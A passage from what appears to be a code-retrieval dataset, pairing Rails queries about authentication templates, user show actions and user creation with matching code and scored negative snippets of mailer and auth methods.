@__file_templates_data[\"templates/views/auth/passwords/edit.html.erb\"] = <<~EOF\n\n<h1>set new password</h1>\n<%= form_with model: @user, url: { action: :update } do |f| %>\n <fieldset>\n <%= f.label :password %>\n <%= f.password_field :password %>\n </fieldset>\n <fieldset>\n <%= f.label :password_confirmation %>\n <%= f.password_field :password_confirmation %>\n </fieldset>\n <%= f.submit %>\n<% end %>\n\n\n EOF\n\n \n\n @__file_templates_data[\"templates/views/auth/registrations/new.html.erb\"] = <<~EOF\n\n<h1>sign up</h1>\n<%= form_with model: @user, url: { action: :create } do |f| %>\n <fieldset>\n <%= f.label :email %>\n <%= f.email_field :email %>\n </fieldset>\n <fieldset>\n <%= f.label :password %>\n <%= f.password_field :password %>\n </fieldset>\n <fieldset>\n <%= f.label :password_confirmation %>\n <%= f.password_field :password_confirmation %>\n </fieldset>\n <%= f.submit %>\n<% end %>\n\n\n EOF\n\n \n\n @__file_templates_data[\"templates/views/auth/sessions/new.html.erb\"] = <<~EOF\n\n<h1>sign in</h1>\n<%= form_with model: @user, url: { action: :create } do |f| %>\n <fieldset>\n <%= f.label :email %>\n <%= f.text_field :email %>\n </fieldset>\n <fieldset>\n <%= f.label :password %>\n <%= f.password_field :password %>\n </fieldset>\n <%= f.submit \"Login\" %>\n<% end %>\n\n\n EOF\n\n \n\n @__file_templates_data[\"templates/views/user_mailer/reset_password_email.text.erb\"] = <<~EOF\n\nHello, <%= @user.email %>\n===============================================\n\nYou have requested to reset your password.\n\nTo choose a new password, just follow this link: <%= @url %>\n\nHave a great day!\n\n\n EOF\n\n \n\n @__file_templates_data[\"templates/controllers/auth/passwords_controller.rb\"] = <<~EOF\n\n# frozen_string_literal: true\n\n# Reset password flow\nclass Auth::PasswordsController < ApplicationController\n skip_before_action :require_login\n\n def new; end\n\n def create\n @user = User.find_by email: params[:email]\n @user&.generate_reset_password_token!\n AuthMailer.reset_password_email(@user).deliver_now\n redirect_to({ action: :new }, flash: { info: 'please check your email' })\n end\n\n def edit\n @token = params[:id]\n @user = User.load_from_reset_password_token(params[:id])\n\n if @user.blank?\n not_authenticated\n nil\n end\n end\n\n def update\n @token = params[:id]\n @user = User.load_from_reset_password_token(params[:id])\n\n if @user.blank?\n not_authenticated\n return\n end\n\n # the next line makes the password confirmation validation work\n @user.password_confirmation = params[:user][:password_confirmation]\n # the next line clears the temporary token and updates the password\n if @user.change_password(params[:user][:password])\n redirect_to(root_path, notice: 'Password was successfully updated.')\n else\n render action => 'edit'\n end\n end\nend\n\n\n EOF\n\n \n\n @__file_templates_data[\"templates/controllers/auth/sessions_controller.rb\"] = <<~EOF\n\n# frozen_string_literal: true\n\n# User login / logout; user \"Sign In/Out\" in user text\nclass Auth::SessionsController < ApplicationController\n skip_before_action :require_login\n\n # login form\n def new\n redirect_to('/', notice: 'Already signed in') if current_user\n @user = User.new\n end\n\n # login submission\n def create\n @user = login(login_params[:email], login_params[:password])\n if @user\n redirect_back_or_to(root_path, notice: 'Sign in successful')\n else\n @user ||= User.new\n flash.now[:alert] = 'Sign in failed'\n render action: 'new'\n end\n end\n\n # logout\n def destroy\n logout\n redirect_to(root_path, notice: 'Signed out')\n end\n\n private\n\n def login_params\n params.require(:user).permit(:email, :password)\n end\nend\n\n\n EOF\n\n \n\n @__file_templates_data[\"templates/controllers/auth/registrations_controller.rb\"] = <<~EOF\n\n# frozen_string_literal: true\n\n# User registration and password resets\nclass Auth::RegistrationsController < ApplicationController\n skip_before_action :require_login\n\n # Sign up form\n def new\n @user = User.new\n end\n\n # Sign up submission\n def create\n @user = User.new new_user_params\n\n if @user.valid?\n @user.save\n redirect_to '/', flash: { info: 'User created' }\n else\n flash.now.alert = @user.errors.messages\n render :new\n end\n end\n\n # Recover password form\n def edit; end\n\n # Recover password submission\n def update; end\n\n private\n\n def new_user_params\n params.require(:user).permit(:email, :password, :password_confirmation)\n end\nend\n\n\n EOF\n\n \nend", "def verify\n UserNotifierMailer.verify\n end", "def show\n\t\tauthorize! :show, NotificacionEmail\n end", "def denied\n ContactMailer.denied\n end", "def check_mail_confirmation\n return if current_user.client?\n\n unless current_user.confirmed?\n flash[:danger] = tf('common.flash.unconfirmed_mail')\n redirect_to :root\n end\n end", "def adhoc_mailing\n setup_adhoc_render_default\n end", "def reset_password_instructions(user)\n @resource = user\n mail(:to => @resource.email,\n :subject => \"Reset password instructions\",\n :tag => 'password-reset',\n :content_type => \"text/html\") do |format|\n format.html { render \"devise/mailer/reset_password_instructions\" }\n end\n end", "def send_devise_notification(notification, *args); end", "def missing_user(email)\n\t\tmail(to: email.to_s, subject: \"Password reset request\")\n\tend", "def devise_mail(record, action, opts={})\n logger.debug Rails.application.secrets.email_sender\n logger.debug Rails.application.secrets.email_domain_name\n initialize_from_record(record)\n mail(headers_for(action, opts)) do |format|\n format.text\n format.html\n end\n end", "def tutor_reserved_notification\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def welcome_email\n UserMailer.welcome_email\n end", "def welcome_email\n UserMailer.welcome_email\n end", "def send_signup_user_email\n #if Rails.env.production?\n UsersMailer.signup_email(self).deliver\n #end\n end", "def available_email_login?\n true\nend", "def notify\n ActionMailer::Base.mail(:from => \"edgar-garcia@northwestern.edu\", :to => \"digitalcollections@northwestern.edu\", :cc => \"edgar-garcia@northwestern.edu\", :subject => \"DIL Upload permission request - \" + current_user.uid, :body => \"User \"+ current_user.uid + \" has requested to be added to the uploaders list. Is this approved?\\n\\n Their email address is: \" + current_user.email + \"\\n\\nThis email was generated by DIL.\").deliver\n flash[:notice] = \"Your inquiry has been submitted. Please come back and check later, you will be notified within a day as well.\"\n redirect_to \"/uploads\"\n end", "def confirm!\n welcome_email\n super\n end", "def new_post_mail\n UserNotifierMailer.new_post_mail\n end", "def send_create_mail\n user = self\n if user.mail?\n Mail.deliver do\n from 'Joinville Eau Vive <webmaster@jevck.com>'\n to user.mail(true)\n subject '[JEV] Création de compte sur jevck.com'\n body Erubis::Eruby.new(File.read(File.dirname(__FILE__) + '/../views/mail_registration.erb')).result(:user => user)\n self.charset = 'UTF-8'\n end\n end\n end", "def welcome\n UserMailer.welcome\n end", "def contact_email\n UserMailer.contact_email\n end", "def show\n # notification_email\n end", "def email\n render layout: 'wemail'\n \n end", "def user_have\n unless current_user\n redirect_to root_path, :alert => \"Зарегистрируйтесь или войдите\"\n end\n end", "def mailer\n @_controller\n end", "def mailer\n @_controller\n end", "def emailform\n end", "def emailform\n end", "def signup_confirmation_advisee(user)\n @user = user\n mail to: @user.email, subject: \"Advisee new registration\"\n end", "def forgot_password\n NotificationsMailer.forgot_password\n end", "def forgot_password\n NotificationsMailer.forgot_password\n end", "def forgot_password\n NotificationsMailer.forgot_password\n end", "def email_required?\n (authentications.empty?) && super\n end", "def regular_reminder_email\n @retailers = Spree::Retailer.active\n \n respond_to do |format|\n format.html { render :template => \"spree/order_mailer/regular_reminder_email.html.erb\", :layout => false }\n end\n end", "def congratulation_email(user)\n @user = user\n mail to: @user.email, subject: \"[IDEANOTE] 환영합니다.\"\n end", "def generate_email_views\n directory \"app/views/kublog/post_mailer\"\n end", "def regular_reminder_email\n @retailers = Spree::Retailer.active\n\n respond_to do |format|\n format.html { render :template => \"spree/order_mailer/regular_reminder_email.html.erb\", :layout => false }\n end\n end", "def password_reset\n UserMailer.password_reset\n end", "def password_reset\n UserMailer.password_reset\n end", "def password_reset\n UserMailer.password_reset\n end", "def show\n invalid_questionnaires if @questionnaire.user != @current_user_email\n end", "def can_mail? user\n can_send_messages? && profile.is_active?\n end", "def password_rest\n UserMailer.password_rest\n end", "def email_required?\n super && provider.blank?\n end", "def email_required?\n super && provider.blank?\n end", "def show_reminder\n mail to: @guest.email, subject: \"Reminder: \"+@user.name+\" house show\"\n end", "def show_notfication\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def enable_email_verification?\n false\n end", "def email_required?\r\n false\r\n end", "def new_user_alert(record, opts={})\n opts[:to] = 'mail@yannbeauxis.net'\n devise_mail(record, :new_user_alert, opts)\n end", "def signed_up(user)\n @user = user\n\n mail to: user.email\n end", "def reset_password_instructions_for_applicant\n Devise::Mailer.reset_password_instructions Applicant.first, 'faketoken'\n end", "def restablecer_password\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def validate_mailer_defined\n return unless\n sorcery_config.reset_password_mailer.nil? &&\n sorcery_config.reset_password_mailer_disabled == false\n\n raise Sorcery::Errors::ConfigError,\n 'To use reset_password submodule, you must define a mailer '\\\n '(config.reset_password_mailer = YourMailerClass).'\n end", "def signed_up(user)\n @user = user\n mail to: @user.email\n end", "def enable_devise_user(view)\n without_partial_double_verification do\n allow(view).to receive(:resource) { User.new }\n allow(view).to receive(:resource_class) { User }\n allow(view).to receive(:resource_name) { :user }\n allow(view).to receive(:devise_mapping) { Devise.mappings[:user] }\n end\n end", "def acceptance_email ucr\n extract_variables ucr\n\n mail to: @user.email\n end", "def allow_mails_from_merchant\n end", "def send_confirmation_instructions\n if self.recently_registered?\n if Rails.env.development?\n Devise::Mailer.confirmation_instructions(self, self.confirmation_token).deliver\n else\n self.skip_confirmation!\n end\n end\n end", "def user_template\n super\n end", "def send_welcome_email\n #if Rails.env.production?\n if email.present?\n if followed_by >= 0\n # to send emails in delayed jobs use\n # UserMailer.instauser_welcome_email(id).delay.deliver!\n UserMailer.instauser_welcome_email(self.id).deliver\n else\n UserMailer.instauser_reject_email(self.id).deliver!\n end\n end\n #end\n end", "def confirmation_instructions(record)\n devise_mail(record, :confirmation_instructions)\n end", "def verified\n UserNotifierMailer.verified\n end", "def newsletter_email\n UserMailer.newsletter_email\n end", "def welcome_email\n NotifierMailer.welcome_email User.take\n end", "def send_unlock_instructions\n return unless EMAILS_ENABLED && !deleted?\n\n super\n end", "def after_confirmation # Send welcome mail after user is successfully registered\n send_user_mail\n end", "def email_required?\n false\n end", "def create\n super\n NotificationMailer.sign_up_notification(@user).deliver\n end", "def setup_email(user, company_id)\n # Check the environment files for each environment for these settings.\n # EMAIL_SAFETY will make sure email messages don't go out to real people in dev and staging environments.\n \n email_safety_val = SystemSettingService.get_value_for_key('email_safety.enabled', company_id)\n \n if email_safety_val != 'no'\n safety_address_val = SystemSettingService.get_value_for_key('email_safety.forward_to_email', company_id)\n \n recipients safety_address_val\n safety_dance = \"** EMAIL SAFETY TURNED ON. Intended recipient: #{user.email} **\"\n else \n recipients \"#{user.email}\"\n end\n #bcc \"support@klaratee.com\"\n from \"support@klaratee.com\"\n subject \"Klaratee: \"\n body :user => user, :safety_text => safety_dance\n sent_on Time.now\n end", "def activation_welcome\n PharmacistMailer.activation_welcome\n end", "def activation_needed_email(user)\n @user = user\n @url = \"http://0.0.0.0:3000/users/#{user.activation_token}/activate\"\n\n mail to: @user.email, subject: \"[적어적어]마! 이메일 인증해라\"\n end", "def mail\n flash[:notice] = \"Sorry, that page is not available.\"\n redirect_to alerts_path\n end", "def email_required?\n\t\tfalse\n\tend", "def new_feedback\n UserMailer.new_feedback\n end", "def notice_from_objective_auth\n\n @auth = User.find(params[:auth_id])\n user_mail = User.find(params[:user_id]).email\n @url = params[:url]\n mail(to: user_mail, subject:'承認されました。')\n \n end", "def check_allowed\n unless $allowed_users.include?(current_user.email)\n flash[:alert] = \"That information is not available.\"\n redirect_to :action => 'welcome', :controller => 'info'\n end\n end", "def add_views\n directory :shared, \"app/views/devise/shared\"\n\n if options[:views]\n options[:views].each do |directory|\n directory directory.to_sym, \"app/views/devise/#{directory}\"\n end\n else\n directory :confirmations, \"app/views/devise/confirmations\"\n directory :passwords, \"app/views/devise/passwords\"\n directory :registrations, \"app/views/devise/registrations\"\n directory :sessions, \"app/views/devise/sessions\"\n directory :unlocks, \"app/views/devise/unlocks\"\n directory :mailer, \"app/views/devise/mailer\"\n end\n end", "def can_activate?\n self.sender && self.email_match?\n end", "def email_required?\n false\n end", "def signup_confirmation\n FreelanceMailerMailer.signup_confirmation\n end", "def password_reset\n MailerMailer.password_reset\n end" ]
[ "0.61909235", "0.6105773", "0.6085343", "0.6029788", "0.6009531", "0.5985422", "0.5985422", "0.59779036", "0.59539247", "0.59071994", "0.5882642", "0.58775485", "0.58602035", "0.5855734", "0.58492506", "0.58469176", "0.58369833", "0.5828436", "0.5825904", "0.5823687", "0.58145237", "0.5803341", "0.5799891", "0.57972574", "0.5785073", "0.5780828", "0.5773109", "0.5756869", "0.57528836", "0.5748914", "0.5748371", "0.5748371", "0.5746298", "0.5738206", "0.57341397", "0.57196164", "0.57144326", "0.571223", "0.56993943", "0.56917", "0.5691589", "0.5689081", "0.568606", "0.5682981", "0.5682981", "0.56733024", "0.56733024", "0.56712985", "0.5668299", "0.5668299", "0.5668299", "0.5644735", "0.5643613", "0.56391585", "0.5634576", "0.56321317", "0.5631881", "0.5631881", "0.5631881", "0.5626526", "0.5616637", "0.56048775", "0.5593992", "0.5593992", "0.55846655", "0.5582485", "0.5582454", "0.558173", "0.5577067", "0.55764854", "0.55741704", "0.5572256", "0.55673087", "0.55641234", "0.55618626", "0.5549545", "0.5546446", "0.55433524", "0.55395985", "0.5537918", "0.55377454", "0.55319774", "0.5528567", "0.55274117", "0.55264777", "0.55232096", "0.55224407", "0.55195916", "0.55191565", "0.5518935", "0.55141985", "0.550729", "0.55044067", "0.55025625", "0.55001044", "0.5500016", "0.54930824", "0.5487747", "0.5484398", "0.54767644", "0.54761046" ]
0.0
-1
GET /users/1 GET /users/1.json
def show @user = User.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @user } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end", "def get \n render :json => User.find(params[:id])\n end", "def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end", "def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end", "def users(args = {})\n get(\"/users.json\",args)\n end", "def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end", "def user\n render :json=> User.find(params[:id])\n end", "def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end", "def show\n user = User.find(params[:id])\n render json: @user\nend", "def show\n user = User.find(params[:id])\n render json: user\n end", "def show\n user = User.find(params[:id])\n\n render json: user\n end", "def show\n render json: Users.find(params[\"id\"])\n end", "def show\n user = User.find(params[:id])\n render json: user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n\n render json: @user\n end", "def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end", "def show\n render json: User.find(params[\"id\"])\n end", "def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end", "def show\n @user = User.find(params[:id])\n render json: @user\nend", "def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end", "def show\n render json: User.find(params[:id])\n end", "def show\n @user = User.find(params[:id])\n render json:@user\n end", "def show\n @user = User.find(params[:id])\n render json:@user\n end", "def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end", "def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end", "def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end", "def show\n render json: User.find(params[:id])\n end", "def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end", "def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end", "def show\n @user = User.find(params[:id])\n render json: {user: @user}\n end", "def list_users\n self.class.get('/users')\n end", "def show\n user = User.find(params[:id])\n render json: user\n end", "def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end", "def show\n render :json => User.find(params[:id])\n end", "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end", "def index\n users = User.all\n json_response(users)\n end", "def show\n @user = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM users \n WHERE username = '#{params[:username].downcase}' \n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: User.find(@user[0])}\n end\n end", "def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end", "def show\n @users = User.all\n json_response(@users)\n end", "def index\n json_response(User.all) \n end", "def get(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end", "def index\n users = User.all\n render json: { users: users }, status: :ok\n end", "def show\n # @user = User.first\n user = User.find(params[:id])\n render json: user\n end", "def user(user_id, params = {})\n make_get_request(\"/users/#{user_id}\", params)\n end", "def show_user_profile\n @user = User.find(username: params[:username])\n render json: @user\n end", "def user(id = nil)\n id.to_i.zero? ? get('/user') : get(\"/users/#{id}\")\n end", "def get_user id, options={}, headers={}\n @connection.get \"users/#{id}.json\", options, headers\n end", "def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end", "def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end", "def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @user }\n end\n end", "def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end", "def index\n user= User.all\n render json: {users:user}\n end", "def index\r\n users = User.all\r\n render json: users\r\n end", "def show\n # puts params[:id]\n render json: User.find(params[:id])\n end", "def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end", "def show\n @user = User.find(params[:id])\n if @user\n render json: {\n user: @user\n }\n else\n render json: {\n status: 500,\n errors: ['user not found']\n }\n end\n end", "def index\n users = User.all\n render json: users\n end", "def index\n users = User.all\n render json: users\n end", "def index\n users = User.all\n render json: users\n end", "def index\n users = User.all\n render json: users\n end", "def show\n @user = User.find(params[:id])\n render json: {\n username: @user.username,\n first_name: @user.first_name,\n last_name: @user.last_name,\n email: @user.email,\n phone_number: @user.phone_number,\n contacts: @user.contacts\n }, status: :ok\n end", "def get_user(user_id)\n request(Route.new(:GET, '/users/%{user_id}', user_id: user_id))\n end", "def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end", "def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end", "def index\n users = User.all\n render json: users \n end", "def user(user_id)\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n get(\"users/#{user_id}.json\", params)\n end", "def index\n users = User.all \n render json: users \n end", "def list\r\n users = User.all\r\n render json: users\r\n end", "def json_show_user_profile_by_user_id\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.json { render json: @user.as_json(only:[:email,:username]) }\n end\n end", "def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend", "def show\n user = User.find_by(uid: params[:id])\n if user\n puts 'USER FOUND'\n render json: user\n else\n puts 'NO USER'\n render json: 'no user'.to_json\n end\n end", "def show\n render json: UserService.get_user(params[:id]), includes: 'questions, answers'\n end", "def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end", "def index\n render :json => User.all, status: 200\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users, status: :ok\n end", "def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end", "def index\n @users = User.all\n\n render json: @users\n end", "def index\n @users = User.all\n\n render json: @users\n end" ]
[ "0.81046426", "0.7703556", "0.77011716", "0.76262826", "0.7582106", "0.74818", "0.7461394", "0.7446168", "0.730656", "0.7300699", "0.72902125", "0.72781444", "0.72358584", "0.72335744", "0.72335744", "0.72335744", "0.72335744", "0.72335744", "0.72335744", "0.72335744", "0.7225407", "0.7225407", "0.7225407", "0.7225407", "0.7225407", "0.7225407", "0.7225407", "0.7225407", "0.72222257", "0.72165024", "0.72137505", "0.72096044", "0.71930283", "0.7182953", "0.7182144", "0.7182144", "0.7180289", "0.71750754", "0.7173851", "0.71640617", "0.71636444", "0.71453786", "0.7145053", "0.7129776", "0.71256554", "0.71160513", "0.7095665", "0.70941204", "0.70772994", "0.7070785", "0.7070607", "0.7063351", "0.70552826", "0.7025071", "0.7014598", "0.70047677", "0.6998373", "0.69910055", "0.6984177", "0.6979766", "0.6972448", "0.6972228", "0.6968384", "0.69666255", "0.6956339", "0.69506294", "0.6945614", "0.6943135", "0.69351804", "0.6932212", "0.6932212", "0.6932212", "0.6932212", "0.6927094", "0.69255126", "0.6925136", "0.6917375", "0.6907744", "0.68947464", "0.6882589", "0.6875701", "0.68749416", "0.68633634", "0.6861618", "0.6858055", "0.6855495", "0.68530583", "0.685255", "0.685255", "0.685255", "0.685255", "0.685255", "0.685255", "0.685255", "0.685255", "0.685255", "0.685255", "0.6849599", "0.6847195", "0.6847074", "0.6847074" ]
0.0
-1
GET /users/new GET /users/new.json
def new @user = User.new respond_to do |format| format.html # new.html.erb format.json { render json: @user } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @newuser = Newuser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newuser }\n end\n end", "def new\n @usernew = Usernew.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usernew }\n end\n end", "def new\n @user = user.new\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end", "def new\n @user = User.new\n @action = \"new\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @users = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @users }\n end\n end", "def new2\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n \n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n \n end", "def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @user = User.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def new\n @user = User.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end" ]
[ "0.8287854", "0.8169699", "0.8155993", "0.80478656", "0.8022629", "0.80212307", "0.801024", "0.7950962", "0.7930549", "0.7930549", "0.7873416", "0.7873416", "0.7873416" ]
0.7860817
98
POST /users POST /users.json
def create @user = User.new(params[:user]) respond_to do |format| if @user.save format.html { redirect_to root_path, notice: 'User was successfully created.' } format.json { render json: @user, status: :created} else format.html { render action: "new" } format.json { render json: @user.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end", "def CreateUser params = {}\n \n APICall(path: 'users.json',method: 'POST',payload: params.to_json)\n \n end", "def post body=nil, headers={}\n @connection.post \"users.json\", body, headers\n end", "def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end", "def create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end", "def create\n user = User.create(user_params) \n render json: user, status: :created\n end", "def create\n user = User.new(user_params)\n if user.save\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(form_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { users: @user }, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user = User.new(\n username: user_params[:username],\n password: user_params[:password])\n if user.save\n create_example_collection(user)\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: user.errors.full_messages}\n end\n end", "def create\n user= User.create(user_params)\n render json: user\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend", "def create\n user = User.new(@user_info)\n if user.save && user.errors.empty?\n render json: { status: 200, data: UserSerializer.new(user).as_json }\n else\n render json: { status: 400, error: user.errors.full_messages }\n end\n end", "def create\n user = User.create(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end", "def create(options = {})\n request(:post, '/users.json', default_params(options))\n end", "def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.create user_params\n \n if @user.save\n respond_with(@user) do |format|\n format.json {render}\n end\n end\n end", "def create\n @user = User.new(user_params(params))\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create_user\n @user = User.new(user_params)\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = @application.users.create(user_params)\n\n if @user.valid?\n render json: @user, status: :created, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n user = User.create(user_params)\n if user.save\n render json: user\n else\n render json: user.errors, status: :bad\n end\n end", "def create\n r = @api.create_user(user_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n else\n response = 